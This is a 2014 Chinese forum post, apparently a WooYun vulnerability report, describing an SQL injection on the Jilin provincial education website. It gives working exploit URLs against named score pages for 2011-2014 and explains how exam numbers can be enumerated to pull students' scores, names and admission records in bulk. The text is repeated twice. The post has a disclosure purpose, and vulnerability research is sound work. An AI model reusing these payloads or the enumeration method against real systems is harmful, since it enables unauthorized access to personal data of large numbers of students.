-
-
吉林教育信息网严重SQL注入可查4年近百万高考成绩录取信息
-
发表于: 2014-8-14 10:26 861
-
网址如下:
http://www.jledu.gov.cn/chengji_2014.php?ksh=考生号&xm=姓名
如果直接输入单引号会提示“输入非法注入内容”,看来网站还是加了简单的过滤的
http://www.jledu.gov.cn/chengji_2014.php?ksh='&xm=
但是他们忽略了转义字符“”
---------------------------↑↑(乌云会把单个反斜线转义成两个,以下所有反斜线都是单个的,自己去掉一下吧)
假设查询成绩的SQL语句是这样
SELECT * FROM grade WHERE ksh='考号' AND xm='姓名';
如果在考号里面加转义就变成了这样:
SELECT * FROM grade WHERE ksh='' AND xm='姓名';
这样ksh之后到xm之前一大坨就可以忽略,在“姓名”里面就可以任意构造SQL语句
SELECT * FROM grade WHERE ksh='' AND xm=' or ksh=14220821150199#';
别忘了在最后加注释#
最后实际执行的SQL语句是这样的
SELECT * FROM grade WHERE ksh='xxxxxxxxx' or ksh=14220821150199;
这样只需要考号不需要知道其对应姓名就可以查到成绩了。
构造以下exp:
http://www.jledu.gov.cn/chengji_2014.php?ksh=&xm=or%20ksh=14220821150199%23
成绩已经出来了
14、13、12、11年的都是一样的
http://www.jledu.gov.cn/chengji_2014.php?ksh=&xm=or%20ksh=14220821150199%23
http://www.jledu.gov.cn/chengji_2013.php?ksh=&xm=or%20ksh=13220821150199%23
http://www.jledu.gov.cn/chengji_2012.php?ksh=&xm=or%20ksh=12220821150199%23
http://www.jledu.gov.cn/chengji_2011.php?ksh=&xm=or%20ksh=11220821150199%23
接下来的问题是考号从哪里来?
随便看一个考号,12220822150199
可以这样分割 12|220822|15|0199
12是指2012年,13则对应2013年,其它同理
220822是身份证前六位,网上可以查得到
中间的15代表理科,11代表文科
最后面4位是从0001开始依次递增排下去的,例如某县有1800名考生,考号后四位就是0001到1800,遍历下就可以了
写个程序拿回成绩数据
有了成绩里面已经包含了考生号和姓名,直接提交就可以查到录取信息了
http://www.jledu.gov.cn/luqu_2013.php?kshb=考号&xmb=姓名
http://www.jledu.gov.cn/chengji_2014.php?ksh=考生号&xm=姓名
如果直接输入单引号会提示“输入非法注入内容”,看来网站还是加了简单的过滤的
http://www.jledu.gov.cn/chengji_2014.php?ksh='&xm=
但是他们忽略了转义字符“”
---------------------------↑↑(乌云会把单个反斜线转义成两个,以下所有反斜线都是单个的,自己去掉一下吧)
假设查询成绩的SQL语句是这样
SELECT * FROM grade WHERE ksh='考号' AND xm='姓名';
如果在考号里面加转义就变成了这样:
SELECT * FROM grade WHERE ksh='' AND xm='姓名';
这样ksh之后到xm之前一大坨就可以忽略,在“姓名”里面就可以任意构造SQL语句
SELECT * FROM grade WHERE ksh='' AND xm=' or ksh=14220821150199#';
别忘了在最后加注释#
最后实际执行的SQL语句是这样的
SELECT * FROM grade WHERE ksh='xxxxxxxxx' or ksh=14220821150199;
这样只需要考号不需要知道其对应姓名就可以查到成绩了。
构造以下exp:
http://www.jledu.gov.cn/chengji_2014.php?ksh=&xm=or%20ksh=14220821150199%23
成绩已经出来了
14、13、12、11年的都是一样的
http://www.jledu.gov.cn/chengji_2014.php?ksh=&xm=or%20ksh=14220821150199%23
http://www.jledu.gov.cn/chengji_2013.php?ksh=&xm=or%20ksh=13220821150199%23
http://www.jledu.gov.cn/chengji_2012.php?ksh=&xm=or%20ksh=12220821150199%23
http://www.jledu.gov.cn/chengji_2011.php?ksh=&xm=or%20ksh=11220821150199%23
接下来的问题是考号从哪里来?
随便看一个考号,12220822150199
可以这样分割 12|220822|15|0199
12是指2012年,13则对应2013年,其它同理
220822是身份证前六位,网上可以查得到
中间的15代表理科,11代表文科
最后面4位是从0001开始依次递增排下去的,例如某县有1800名考生,考号后四位就是0001到1800,遍历下就可以了
写个程序拿回成绩数据
有了成绩里面已经包含了考生号和姓名,直接提交就可以查到录取信息了
http://www.jledu.gov.cn/luqu_2013.php?kshb=考号&xmb=姓名
赞赏
看原图
赞赏
雪币:
留言: